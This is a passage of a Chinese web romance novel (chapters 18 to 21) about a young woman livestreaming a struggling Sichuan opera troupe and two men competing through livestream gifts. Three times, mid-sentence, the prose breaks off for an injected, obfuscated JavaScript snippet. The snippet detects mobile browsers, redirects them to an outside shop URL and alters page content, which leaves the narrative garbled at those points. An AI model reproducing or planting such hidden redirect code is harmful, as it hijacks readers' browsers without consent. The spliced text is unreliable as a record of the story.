这个地铁站就在江奶奶住的医院外,她送走孟西禾,转头看见住院部大楼亮着的灯光。 傅栩不在,安漾连思想负担都轻了不少,当即决定去看看。 她对这路线已经很熟悉了,推门进去时,江奶奶依旧没醒。 守在病床边的是楚仪,比上次见面时憔悴了许多,眼下一片青黑。 安漾看着病床上双眼紧闭的老人,不知道该怎么安慰。 这时候,任何的语言都显得苍白无力。 她考虑了片刻,“阿姨,如果您不介意的话,我下班之后可以过来陪床,换您回去休息。” 傅栩原本请了护工来,但楚仪始终不放心,只让护工负责跑跑腿,照顾病人的事还是亲力亲为。 怕她心存顾虑,安漾又说:“傅栩因为江奶奶的原因,帮了闻景很大的忙,我也想为江奶奶做点什么。” “不用了。”楚仪的声音疲惫但温柔:“傅栩跟我提过,剧团每天都要直播,你走不开,这边有我在就好。” “而且,闻景对傅栩也很重要,我想他愿意帮忙,可能也不全是因为他外婆。” 安漾疑惑,到这时才从楚仪的口中得知了那个假期。 傅栩被瓶颈期折磨得几乎崩溃,从明京飞到景城,在闻景看外婆演出打发时间。 但楚仪也不知道他在景城具体经历了什么、遇见了谁。只记得回到明京之后,他把自己关在房间里写了很久的歌。 “虽然那首歌跟他的其他作品比起来没什么名气,但是我很喜欢。” 她回想起自己第一次在直播时登台演《芙蓉花仙》,在台下看见傅栩时,那种莫名的熟悉感。 她在闻景的首次登台,也是演《芙蓉花仙》。 在傅栩来到闻景的那一年。 安漾小心翼翼:“您还记得那首歌叫什么名字吗?” 楚仪蹙眉想了许久,“我听到的时候,那首歌还没有名字。” - 安漾回家后又去翻了照片。 第一次在闻景登台那天,任姿特地在后台帮她拍了照。 时间不早了,她只开了一盏台灯。暖黄色的灯光从角落向整间房里扩散,她的影子被放大,贴在墙上。 她的照片全部收在一个盒子里,没费太大功夫就找到了。 照片里,安漾穿着戏服站在江奶奶身边,长长的水袖一直拖到地上。 她去看照片右下角的时间,和傅栩来景城的时间正好对上。 手机扔在台灯旁,在这时忽然响铃。 安漾被突如其来的声响一惊,手上的成叠的照片撒了一地。 她顾不上收拾,先接通电话再去捡照片。 “我刚从录音棚里出来。” 是傅栩。 他那里有风声呼啸,穿过听筒钻进她的耳朵,带来一千多公里以外的寒意。 “安漾,明京下雪了。” “你想来看看吗?” 18.第十八章 安漾俯下身,将地上的照片一一拾起,另一只手还举着手机放在耳边。 傅栩的呼吸声从听筒传来,被细微的电流声灼得发烫。 她捡完照片,在电话这一端摇摇头,却想起他看不见自己的动作。 “想看,但是我不能去明京。”她说: “闻景现在每天都要直播,而且我刚把西西拉来当助播,没有撇下她自己出去玩的道理。” 他似乎早就预料到了这个答案,轻笑问她:“是走不开,还是不想见到我?” 她没想到傅栩会问得这么直接,刚收好的照片险些又掉一地,赶紧把它们装进盒子里。 安漾的脸有些发烫,她用手背贴着自己的脸降温,听见电话那头,傅栩接着问: “安漾,你想见我吗?” 她默默垂下眼睫,迟迟没有回应。 “我很想见你。”他说完,挂掉电话。 安漾已经钻进被子里,她伸出一只手关掉台灯,现在脑子里一团乱麻—— 傅栩见过她,傅栩在写《玄兔》那年见过她,傅栩想见她。 一直以来困扰她的问题答案呼之欲出,但她想到苏果,突然又不那么确定了。 手机再次振动,她被突然亮起的屏幕刺痛眼睛,半眯着拿过来一看,是傅栩发来的视频邀请。 她果断按下拒接,把被子拉过头顶。 房间里再次归于平静,过了一会儿,她把头从被子里探出来,给他发信息。 小羊:【太晚了,我要睡觉了。】 那边很快发来一个视频。 漆黑的夜空,只有路灯慷慨地洒下光亮。雪花争先恐后地飘下,在暖黄色的灯光里飞舞,落在地上,屋檐,车顶。 她听见风声,听见行人交谈声,听见傅栩说:“晚安。” 安漾的心几乎软成绒绒雪花,她把视频连续播放了好几遍,然后退出,编辑信息。 小羊:【傅栩,晚安。】 【希望你做个好梦。】 她把手机放在床头,说过晚安,却怎么也睡不着了。 第二天下午到剧团的时候,孟西禾被她的黑眼圈狠狠震撼了。 “上午去熊猫基地cosplay了?” 孟西禾对工作的各项流程已经非常熟悉了,这会儿一边打开手机支架,一边吐槽她。 “没睡好。”安漾摆摆手,把用来直播的那台手机打开,装在支架上,“傅栩昨晚给我打电话了。” 孟西禾的嫌恶写在脸上,“他都回明京去了,还有什么话好说的?” 分手之后她对异性恨屋及乌,尤其是这种有白月光的。 “他说想见我。” “我呸。”孟西禾气愤,“什么人啊这是。” 说完又回头打量安漾,见她一直不吭声,突然面露惊恐,“你该不会要去明京找他吧?” 孟西禾几乎是尖叫着说出这话,双手攀上安漾的肩膀,恨不得再帮她匀匀脑浆。 “当然没有。” 她松了口气,还好,安漾还有救。孟西禾一向不吝于夸奖自己的朋友,“安漾你出息了!” 安漾瘪嘴,想反驳说自己一直很有骨气,余光瞥见台上的乐队已经就位了。 她干脆中止这个话题,手指指舞台的方向,提醒孟西禾可以开播了。 闻景现在虽然每天都直播,但安漾的演出要隔日才有。 不需要上台的时候,她就会像现在这样,和孟西禾一起坐在镜头之后,给大家讲解剧情。 “今天演的是《碧波红莲》。”她别了一个收音器在衣领边,“才子佳人克服万难终成眷属,很经典的故事。” 安漾一边说着,一边和刚进直播间的观众打招呼。 “下午好,‘小羊能不能天天直播’,不能哈,主播就算是牛马也需要休息。” “下午好,‘喷火小羊’。” “下午好,栩......嘶——” 她看见熟悉的昵称,一时慌神咬到了舌头,旁边的孟西禾立刻顶上,跳过了傅栩继续问好。 她缓了一会儿,等到舌尖的感觉稍微好点了,演出也已经开始了。 闻景如今的热度几乎全是靠安漾当初喷火得来的,直播间里的观众自然也是冲着她才天天蹲守。 如今她不上台,直播间的弹幕多少有些不满。 【主播出来聊天。】 【小羊什么时候能上啊。】 【只想看小羊。】 ...... 安漾眼看局势越来越走偏,只好小声说:“今天我不演,台上的演员都是我的前辈,舞台经验比我更丰富,希望大家尊重他们的劳动成果。” 孟西禾出来打圆场,“主播陪大家一起看呢,大家可以期待一下明天的演出哦。” 安漾无奈地靠在椅背上,看着不断滚动刷新的弹幕,觉得头大。 就在这时候,屏幕上又驶来一艘潜水艇,动画还未消失,又紧接着出现第二艘、第三艘。 她凑过去一看,是一个陌生的名字,还附带了一条留言: 【能不能安静,爱看看,不爱看出去。】 这话可不兴说啊,哪有从直播间赶人的? 孟西禾匆忙谢过礼,又和她继续安抚观众。 这场插曲以安漾许诺在演出结束后在直播间加演一段而告终。 直播间终于恢复正常秩序,她看了一眼礼物榜上的陌生名字,给傅栩发去信息。 小羊:【又是你?】 几分钟后,她收到回复。 F:【?】 她啧声:【礼物,你刷的吗?】 F:【没有,我在开会。】 小羊:【开会还看直播?】 F:【静音。】 安漾刚才编辑好一大段劝他别刷礼物的说辞,看见这条信息后又尽数删去。 小羊:【打扰了,告辞。】 她点开礼物榜一的主页,对方和她同IP,现居地填的是景城。 还真不是傅栩。 - 直播结束在一个小时后,傅栩的电话准时打来。 安漾警惕地环顾四周,看见孟西禾正蹲在化妆间的收纳柜旁边整理器材,于是鬼鬼祟祟地走出房间,在后院接通了电话。 “你还真会挑时间。” 傅栩只是笑,没有告诉她自己守在直播间,一下播就马上拨通电话。 “今天直播出什么事了吗?”他问。 他开会的时候没怎么留意直播间的动向,会后又跟着处理了些工作,等空闲下来打开直播间的时候,弹幕已经恢复正常了。 但那条付费留言还挂在直播间里。 “已经处理好了,不是什么要紧事。” “安漾,闻景的直播也有我一份。”他道:“你不用向我隐瞒。” “嗯,有你一份,过年来闻景给你发个优秀员工奖?”安漾避 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14214994|149765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重就轻。 “好啊。”他也不拒绝,“小羊主播亲自给我颁奖吗?” 她哽住,被人叫网名的羞耻感足够让她给闻景抠出一个地下剧场。 傅栩闷笑出声,然后话锋一转,“所以小羊主播今天遇到什么事了?说来听听?” 安漾知道他不问出个结果来不罢休,踌躇片刻,还是把整件事原原本本地告诉她了。 “我不想让直播间的注意力都在我身上。”她说:“这是闻景所有演员共同的账号,被看见的不该只有我一个人。” “嗯。”傅栩理解她的意思。 他正坐在录音棚的控制室里,盯着混音座上的按钮与推杆看了许久,说:“我有个办法,可以让所有人都被看见。” “什么?”安漾的语调上扬。 显然,傅栩的这句话让她非常感兴趣。 “等我回去再告诉你。” “你还要回来?”安漾身子一僵,“什么时候?春节?” “下周,或者下个月。”傅栩听出她语气里的意外,反问:“你不希望我回去?” “不......不是。”她只是没想过傅栩会回来。 安漾一直以为,傅栩离开景城就意味着他们今后几乎不会再见,去机场送他时还怪舍不得的。 结果他还要回来? 那她当初在伤感什么? 难怪他走的时候就带了一个箱子,这下一切都能说得通了。 “那我是不是可以理解成,其实你也很希望我回来?”傅栩的声音大概是有某种魔力,能让人顺着他的话说下去。 比如现在,安漾差点就要顺着他的话,说“对”。 但孟西禾把她的理智唤回来了。 “你在这儿蹲着干嘛?跟做贼似的。” 她抬头,孟西禾正居高临下地看着她,“下班了,一起回去?” 安漾的大脑宕机了几秒,然后飞快地点头,朝孟西禾扬扬下巴,“你去前院等我,我摩托车停那儿了,等等送你回去。” 她跟任姿求了几天,今天终于要回了车钥匙,风风光光骑着车来的剧团。 孟西禾看她这副模样觉得奇怪,但也没多问,先走了。 等后院里又只剩她一个人了,安漾才又把手机拿到耳边,回:“你少顺杆子往上爬。” 但傅栩现在的注意力已经全部落在她和孟西禾刚才的对话上了,“你要骑车送谁?” “我朋友。” “听起来你的后座坐过很多人了?” 这人是真的很爱无端联想。 “是,怎么了?”她觉得好笑,“我乐于助人,不行吗?” 傅栩那头突然没了声音,她等了一会儿,直到以为他有事,准备挂电话了,他才出声:“你载过的异性也很多吗?” “对啊。”安漾说得有鼻子有眼,“多得很,一只手都数不过来,要不要我一个一个讲给你听?” “不。”他拒绝得很快,“安漾,我是第几个?” “不知道,十名开外吧。” 在角落蹲得太久,站起来之后眼前发黑,安漾扶着墙慢慢走。 “我是最后一个。” 扶墙的手微微颤抖,安漾差点以为自己幻听了。 傅栩那边有谈话声远远传来,他跟人应了一声,和她说再见和“等我回去。” 通话结束,安漾彻底晕乎了,只能在心里把这归结于低血糖和说谎的现世报。 19.第十九章 上一次的风波过后,安漾调整了演出的频率和方式。 在原定的隔天出演经典剧目的基础上,她会额外在不上台的时候表演一些喷火变脸之类的小节目。 在上次帮她解围的那位榜一观众名叫“第四页”,在第二天的直播开始之前,她特地私信他道谢,顺便提醒他理性消费,不用刷太多礼物。 对方就回复了三个字。 第四页:【我乐意。】 安漾已经准备好了,孟西禾和她一起站在后台有一搭没一搭地闲聊,看见他的回复,嗤笑一声:“哟,拽哥。” 安漾耸耸肩,只能低头回一句“谢谢”。 她也不好再说什么,毕竟这事说到底还是闻景受益。有钱不赚王八蛋。 “有个豪横的粉丝还不好?多播几场下来,说不定你能提前把闻景的账还清。”孟西禾没有她那么拧巴。 也是,安漾觉得这话有理,先把闻景这些年的欠款还清才是第一要紧的。 “想通了就好。”见她赞同点头,孟西禾甚是欣慰。 对面的侧台上,乐队已经就位,她在安漾后背上轻轻拍了一下,“行了,各就各位,我要去直播间守着了。” 今天演《白蛇传》,安漾很熟悉的剧目。她已经逐渐适应了直播的形式,没有了先前的紧张,演起来更加自然流畅。 演出结束,她照常下台到孟西禾身边和观众打招呼。 见她来了,刚才一直都安安静静的直播间突然热闹起来,礼物的特效时不时从屏幕的角落蹦出来。 “第四页”也跳出来了,一通操作把名次刷上礼物榜榜首,发送弹幕。 第四页:【下午好小羊。】 第四页:【榜一可以和主播约饭吗?】 坏了,这波冲她来的。 这条弹幕像是往油锅里滴进清水,直播间瞬时炸开了锅。有热闹可瞧,其他观众也开始起哄。 【我也想知道。】 【合着你一掷千金就为了顿饭?】 【该不是主播找的托吧。】 安漾一时间不知所措,她嘴笨,面对这种情况也没什么经验。 但很快,屏幕上又出现了一条造型夸张的锦鲤,从屏幕上方摆尾游过来,后面跟着一串数字——“×99”。 “谢谢栩师傅的九十九条锦鲤。”孟西禾点开礼物榜,傅栩已经取代了“第四页”,一跃成为榜一。 “第四页”不甘示弱,又刷了五艘潜水艇,重回榜一。 傅栩紧随其后,在直播间开通了SVIP,再次抢下榜一。 ...... 这两人似乎是杠上了,屏幕上的礼物特效五花八门,几乎就没有停下来过。安漾看得眼花,只想大喊“你们不要再打了”。 孟西禾也看呆了,过了好一会儿才凑到安漾身边耳语:“这个第四页,真的不是傅栩开小号在左右手互搏帮你拉人气吗?” “问过了,不是。”安漾扶额。 她倒宁愿是傅栩在左右手互搏,起码她不用苦恼怎么拒绝“第四页”的约饭请求。 她给傅栩发微信:【别刷了。】 F:【好。】 他的执行力倒挺强,答应不刷就马上休战,“第四页”凭借一块钱的微弱优势重回第一宝座。 但他坚持不懈:【主播能出来一起吃个饭吗?】 “抱歉,不行。”安漾不惜给自己造谣,“主播见光死,离了美颜活不了,还是和大家当网友比较合适。” 她话刚说完,傅栩又杀回来了,刷了一颗夜明珠,把“第四页”从榜一挤下去:【榜二闭嘴。】 安漾想去偷他身份证,她怀疑傅栩是小学生。 直播间的局面逐渐开始失控,安漾只能提前下播。 傅栩的信息依旧在下播后发来:【不要把钱转给我,否则下次我十倍送回去。】 小羊:【再刷礼物下次拉黑你。】 F:【你就这样跟榜一大哥说话的?】 小羊:【再刷礼物下次拉黑您。】 傅栩笑:【小羊主播什么时候和我一起吃饭?】 小羊:【主播见光死,只支持网上见面。】 F:【那下次视频吧。】 安漾的“不要”刚在输入法里拼好,还没来得及发出去,和她一起坐在化妆间里清算直播数据的孟西禾突然出声,“我去!” “怎么了?”她抬头,孟西禾马上举着手机挪到旁边。 “今天这一场赚了我在明京一年的工资。” 安漾有点怀疑自己的耳朵。 她能猜到这场赚了很多,但没想到有这么多。 “傅栩这人虽然不怎么样,但出手还挺大方的。”孟西禾感慨,“这场的礼物基本全是他和那个叫‘第四页’的人刷的。” 而她这时才想起要拒绝傅栩打视频的要求,再打开手机,里面躺着一条他的未读信息。 F:【不说话就当你同意了。】 - 安漾当晚就把直播的收益提现转给任姿了。 据在场的热心人士老安所说,任姿当时正在打麻将,收到这笔钱时连牌都忘了摸,唰地一下从牌桌上站起来,催促正在旁边打瞌睡的丈夫赶紧回家。 老安笑得前仰后合,“你妈以为你去抢银行了。” “不至于不至于。”安漾坐在盘腿坐在沙发上,怀里抱着个靠枕。 虽然凭着这场闹剧赚了不少钱,但她心里是实在不踏实。 她深知这不是长久之计。 要想维持住现在的热度,闻景还有很长的路要走。 “当初你说要留在闻景,我以为你只是玩玩。”任姿说:“但是漾漾,你做得很好。” 客厅的灯光晃眼,安漾的下巴抵在靠枕上,偷偷叹了口气。 她本想把今天直播发生的事告诉任姿,但现在听了这番话,她突然就说不出口了。 见安漾垂着头不怎么高兴的样子,任姿坐过来宽慰道:“你也不用有压力,能做到这样已经很好了,妈妈也能放心把闻景交给你。” 压力更大了。 但她还是挤出一个笑,“我会加油的。” 孟西禾对她的苦恼表示不解,怎么有人赚了钱还愁眉苦脸的? 第二天到剧团的时候,她伸出食指戳戳安漾的额头,“你这叫什么?久贫乍富之后的心虚?” 安漾撇撇嘴,“是挺心虚的。” 她双手环住手机支架,和孟西禾一起进了剧场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14223487|149765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在熟悉的位置坐下。 听见门口的动静,前座的人突然转过头来。 安漾和那人对视一眼,是她之前没有见过的生面孔,看上去和她差不多的年纪,在一众年老的观众中格外显眼。 他随意地靠在椅背上,回头看她时,嘴角带着一抹若有似无的笑。 她蹙眉,在脑中搜索了一轮,确认自己没有见过这个人。 于是又戳戳孟西禾,“前面那个人,你见过吗?” 孟西禾正调试设备,闻言顺着她的目光看过去,只堪堪扫了一眼,“没,新观众吧。” 安漾觉得奇怪,但也没有再多看,专心准备直播。 因为昨天的榜一大战,直播间今天又迎来了一波热度。 她今天提前开播,把镜头翻转过来,对准自己。 安漾上一次素颜面对镜头还是临时上台喷火的那次,那之后,她一直都以剧目中的各种角色造型示人。 她没有开美颜的习惯,五官的量感本身就很足,加之最近一段时间因为在忙剧团的事瘦了很多,再开美颜只会显得比例失调。 【开屏暴击!】 【上次看到素颜的小羊还是在上次。】 【来个人告诉我,这是穿越回了小羊喷火时期吗?】 她被逗笑了,一边给自己别上收音器一边跟观众开玩笑,“是的,你穿越了。” 等直播间的观众稍微多起来了,她开始进入正题: “今天提前开播是想和大家聊聊。” “闻景剧团从开播到现在受到了很多关照,无论大家是因为什么来到直播间,我都很感谢大家的喜欢和支持。” 她顿了一下,说到重点:“但是还是希望大家理智消费,多多关注舞台上的节目。闻景之后会努力呈现出更好的节目给大家,也希望直播间的观众们能通过我们这个媒介,去了解川剧本身的魅力。” 这段发言是安漾昨晚写在手机里的。 她想了很久,直播本身是为了给闻景增收,但绝对不是以这种方式。 所以在事情彻底跑偏之前,她要把它拉回来。 弹幕给出的反馈还不错,大多都是对她表示支持。她了却一桩心事,和弹幕聊了一会儿,掐准时间翻转镜头,准备开始播今天的剧目。 【第四页今天好安静啊。】 弹幕里突然有人在问。 安漾只当时观众之间的闲聊,没有在意。 但很快,“第四页”就出现了。 第四页:【我今天来现场了,不用看直播。】 直播间的弹幕刷得很快,好在她眼尖,一眼捕捉到这一条。 她惊愕,一抬眼,和刚才看见的生面孔来了个对视。 他朝着她挑挑眉。 被直播间的观众找上门,这事安漾还是第一次遇到。 她提心吊胆到下播,观众们陆续离开,坐在前排的人这才起身,不疾不徐地走到她面前。 “小羊。”他玩味般叫出这个名字,勾起嘴角,“你也不是见光死啊。” 安漾笑也不是,不笑也不是,在原地愣了一会儿才敢开口:“你是......第四页?” “嗯。”他散漫地伸出手,“段斯延,还记得吗?” 20.第二十章 安漾本想跟他打个招呼,但那名字一出口,她的动作顿时卡住了。 段斯延。她当然记得这个名字,也实在是很难不记得。 他主动抓住安漾悬在半空中的手,短暂交握后便放开。 “好久不见。”段斯延的目光落在她怔愣的脸上,笑里带着几分痞气。 他已经撤了手,但她的手还垂在半空,过了许久才猛地收回,尴尬道:“没想到是你。” 没等安漾说话,他已经转头自顾自地打量起剧场的环境,丝毫没注意到她略显不自然的动作,“你毕业之后就在这里工作吗?” “是。”她点头。 空荡荡的剧场把她简短的声音吞噬,而后陷入长久的沉寂。 良久,一直没说话的孟西禾把支架塞到她手里,突然开口: “帮我搬一下东西。” 她刚才在旁边把两人的对话听了个一清二楚,推测两人是旧相识,本打算一个人先走,免得耽误他们叙旧。 但一挪眼,她就从安漾卡壳的举动中发现了端倪,找了个借口把她叫走。 安漾当下会意,一手抱起支架要离开。 走出去两步,又觉得把段斯延晾在这里不妥,回头对他说:“今天的演出结束了,你早点回去吧。” 他嘴上说着好,但也没有要照做的意思,走到剧场靠门的那一排,在最边上坐下。 安漾不明白他的意思,也没有再催他离开,走出剧场的时候找到负责后勤的阿姨,让她帮忙送杯茶给他。 “那谁啊?”进了化妆间,在只有她们两人的狭小空间里,孟西禾的八卦属性暴露无遗。 “高中同学。”安漾给直播的手机充上电,又拧开水龙头洗了个手。 刚才见着段斯延,给她惊出了一身冷汗,手心都变得黏腻起来。 “谁见了高中同学是你这表情啊?” 孟西禾了解她,安漾这个人e得出奇,别说高中同学,就是小学同学,她见着了都能和人聊上几句。 哪里会是刚才那样,跟被下了定身咒似的。 太可疑了。 对孟西禾来说,这种场面只有一种解释。 想到这里,一种被蒙在鼓里的憋屈感油然而生,她三步并两步到洗手池边,压下水龙头,问:“你高中没谈恋爱吧?” 安漾被她这么一问,觉得莫名其妙:“没有,怎么了?” “这才对嘛。”孟西禾拍拍胸脯给自己顺气。 她差点以为安漾背着她早恋,还一瞒就是这么多年。 但这样一来,孟西禾本就匮乏的想象力又被掐灭了。 她干脆单刀直入,“那你跟他是有什么过节吗?” “不应该啊。”这话一出口,她自己先否定了,“要真有过节,他也不会给咱们打赏那么多。” 在她陷入下一轮猜测之前,安漾擦干了手上的水,“你记得我在大巴上唱《芙蓉花仙》那次吗?” 这个困扰安漾多年的心理阴影,孟西禾是第一个知道的人。 当时是一个周五,孟西禾去附中门口等她放学,老远就看见她蔫了吧唧的。 在听到她转述出那句“怎么还给人唱恶心了”,孟西禾把袖子一撸,嚷嚷着要把说这话的人打得亲妈都不认识。 最后没去,因为安漾没敢说那人到底是谁。 她知道孟西禾真能干出这种事。 “那话就是他说的?”孟西禾的声音拔高了一个度。 “不是不是。”安漾连忙否认,“说话的人我已经不记得了。” “那他是?” “那个在大巴车上吐了的。”安漾小声道。 孟西禾:? 这人高马大的,看起来也不像坐大巴能吐的啊。 “所以他当初为什么会吐?” 安漾把擦手的纸巾投进垃圾桶,倒了杯水润润嗓子,“我听说那是他第一次坐大巴车。” 大巴车事件过后不久,段斯延就转到了一所国际学校。 安漾上学那会儿对同学之间的穿着打扮不怎么上心,也是在他转学后才从别人的话里听说,段斯延名字里的段,是景城房地产巨头段氏的那个段。 满打满算,安漾只和他做了不到一学期的同学,对这张脸自然印象不深。 只是这个名字关联的事件太过特殊,一经提起,她就觉得自己回到了那辆摇摇晃晃的大巴上。 “都过去了,现在大家都很喜欢看你演戏。”孟西禾打断她的回忆。 记忆像是汹涌的海水,而她在其中漂浮不定,亟待一个人将她打捞起。这个人过去是傅栩,现在是孟西禾。 她朝孟西禾笑笑,喝完杯中的水,开始做直播复盘。 - 结束工作时天色将晚。两人从化妆间出来,准备回家。 孟西禾打从刚才起就一直在看手机,出门时险些双膝跪地给安漾拜个早年,还好被她一把拉住。 “你一定要现在看手机吗?” “我妈催我呢。”孟西禾把手机展示给她看,“说小区里谁家的儿子跟我差不多年纪,也是单身,让我回去见见。” 回景城之后,孟西禾的父母陆续给她介绍了不少相亲对象,但她一个也看不上。 “这个也是,还不如于万苼。”她把照片放大,举到安漾跟前,“我就不能吃点细糠吗?” 安漾睨她一眼,“还提他?” “敢提他不正说明我放下了吗?”孟西禾心虚。 “那你一会儿坐四号线去相亲呗。”她直击痛处,“要不要我陪你?” “你——” 孟西禾被噎得说不出话,手机上一通操作叫了辆滴滴。 安漾陪她走到剧团门口等车,天气越来越冷了,她最近骑车的频率降低了很多。 孟西禾:“你怎么回去?要不要我捎你一程?” “我送你。”突兀的男声横插进两人的对话。 她回头看时,车钥匙在段斯延的指尖打了个圈,接着被牢牢抓在手里。 孟西禾的车来了,她给安漾递了个眼神,问她要不要一起。 “你先走吧,我自己搞定。” 她们两家在相反的方向,她不想麻烦她。 孟西禾眼里闪过一丝的迟疑,眼神越过她落在段斯延身上。 她不放心。 “走吧,明天见。”安漾帮她拉开车门。 孟西禾叹了口气,“那你到家告诉我一声。” “行。” 车门嘭——地关上,驶向远方。 “我送你? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14253129|149765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”身后,段斯延又说一遍,这次是在征求她的意见。 “不必了,我家很近。”安漾没有片刻的犹豫。 “可你还欠我一顿饭。”段斯延不依不饶,抬腕扫过表盘,“现在正好是晚饭时间,你是想和我一起去吃饭,还是让我送你回家?” “我没有答应过要和你吃饭吧?” 安漾没被他绕进去,她压根没答应过要陪榜一吃饭这档子事。 “而且你那天也不是榜一吧?”她说:“榜一明明是傅……” 段斯延打断她,“那就退一步,不能约饭就让我送你回家吧。” 什么叫“退一步”?他难道觉得自己很善解人意吗? 安漾只觉得这人莫名其妙。 做同学的时候,安漾没跟他有过太多交流,更不知道他现在到底意欲何为。 “段斯延,不管你是为了什么,我都很感谢你刷了那么多礼物。”她深吸一口气,冷空气进到鼻腔,有些难受,“所以直播的时候,无论你想看喷火还是变脸,又或者任何剧目,这些都没问题。” “但是现在我已经下班了,没有义务去满足你在直播间之外的要求。” 她说完,没有等段斯延的反应,径直走出老街。 段斯延跟上来,他走得很快,没多久就和她并排。 安漾脚步加快,他便也跟着加速,直到她被他的死缠烂打搞得失去耐心,停下来,没好气地问:“你到底想干嘛?” “我只是想和你重新认识一下。”段斯延的眉头微拧,诚恳道:“不是以第四页,是以段斯延的身份。” 他说:“我转学之后加你□□,你没通过。” 都是很早以前的事了,安漾一点印象也没有。 况且段斯延没转学的时候,他俩也没说过几句话,他到底哪里来的执念,非得加她的联系方式? “我没印象了,抱歉。”她如实坦白,又说:“我们之后应该也很难有什么交集,所以没必要重新认识。” “闻景接商演吗?”他突然问,“段氏最近有个活动。” 安漾微微眯起眼睛,内心天人交战,最终在一走了之和忍辱负重之间选择了后者。 骚扰就骚扰吧,能多赚点钱把闻景的债务还清比什么都强。 “接。” 段斯延勾唇,“那加个微信,之后我们细聊?” “没问题。”安漾爽快地亮出二维码。 “你这名字还挺特别。”段斯延说着,在验证信息里输入了自己的名字,发送好友申请。 “不好吗?多显眼呐。”安漾飞快收起手机,“我回家再通过,先走了。” 她往后退了几部步,朝段斯延摇摇手,直至撞上一人的胸膛。 安漾一惊,一边转身一边连连道歉,“对不起对不起,我没注意看路,你没事……” 等一下。 “吧”字还没出口,安漾意识到这人不对劲。 借着路灯的光亮,她抬眸看向眼前的人,目光从下巴一路攀上他的眼尾。 “傅栩?”她皱眉,回头看看还站在原地的段斯延,硬着头皮问:“你什么时候回来的?” 话音刚落,她就看见了他身旁的行李箱。 “安漾。”傅栩沉了口气,“他是谁?” 21.第二十一章 安漾有点恍惚,她没想到傅栩会这么快就回来了。 明明前几天打电话的时候,他还说的是下个星期,怎么转眼间就已经站在自己面前了。 还偏偏是在这种时候。 “他是......”安漾抿唇,悄悄地看向身后的段斯延,不知道该说那是和他榜一大战的“第四页”,还是她的高中同学。 在她正纠结措辞的空档,段斯延已经主动走上前,站在她身旁。 他投去一束审视的目光,漫不经心地把傅栩从头到脚打量了一遍,又偏头,看向正进退两难的安漾,问她:“熟人?” 傅栩第一眼看见这人就不顺眼,这时候又和安漾并肩而立,颇有一种要联手对付他的架势。 “你是?”傅栩面色冷淡,问。 “我是段斯延。”他不在意傅栩的不耐烦,朝安漾的方向挑挑下巴,懒懒道:“她的粉丝。” 傅栩挑眉,脑中当即有一个名字浮现,“第四页?” “你怎么知道?” 他冷哼一声,嗤笑道:“就这首字母,但凡脑子能转过弯的人都能猜到。” “傅栩!”安漾小声喊他的名字以作提醒,想让他说话别这么夹枪带棒的。 好不容易能有场商演,别给人气走了。 这个点正是人多车多的时候,安漾的声音很小,但好在足够近,段斯延还是听得一清二楚,瞬间恍然大悟,“栩师傅是吧?” “你这名字还不如用首字母。” 傅栩懒得理他,忽略他的话,掀起眼皮问安漾,“你还回剧团吗?” 话题拐得太快,突然被cue的安漾摇头,“不去,下班了。” “那我们回家?” 傅栩刻意把“我们”两个字咬得很重,说这话时望向她身边的人,眼里带着明目张胆的挑衅。 “你俩住一起?”段斯延很快抓住了话里的关键信息,一脸惊愕。 很好,傅栩很满意,他要的就是这个效果。 “有问题?”他拉过安漾的手腕就要走。 安漾:? “不是。”她的反应比段斯延还要激烈,立马甩开他,“谁跟你住一起了?” “没问题。”段斯延乐得见他吃瘪,抓住这个机会再次发出邀请,“我送你回去吧。” “不用。” 安漾回绝得干脆,傅栩顿时心情好了许多。她一回身,正好看见傅栩一副志在必得的模样,快步走到街边,拦了辆出租车。 没有要等傅栩一起上车的意思,她跟司机报了地址,关门走人。 出租车启动,她坐在后排悄悄回头,看了一眼还站在原地的两个人,然后不紧不慢地在微信通讯录里找到名为“AAA川剧商演老刘”的联系人。 这就是刚才被段斯延说特别的名字。 能不特别吗?这名字可是她专门给刘叔改的。 她当然知道段斯延的用意,那样突兀地提起商演的事,无非是想用这个作为由头加她微信。 但安漾不可能就这样把微信交出去,更何况商演的工作一向是刘叔负责,让他找刘叔合情合理。 她点开刘叔的对话框。 小羊:【刘叔,有个商演的活儿,老板已经加你好友了,记得通过一下。】 AAA川剧商演老刘:【好啊。[呲牙]】 AAA川剧商演老刘:【咱们这都多久没接到商演了,这老板是怎么找上门的?】 小羊:【直播间来的。】 刘叔发来一连串的大拇指:【干得好。以后咱们也好好播,争取多来点商演。】 出租车渐渐远去,傅栩也没有再原地停留太久,准备离开。 “傅栩。”段斯延叫住他,“你和安漾是什么关系?” 傅栩背对着他,“住一起的关系。” 他不觉得这算是撒谎。 都住一个小区了,四舍五入怎么不算是住一起? 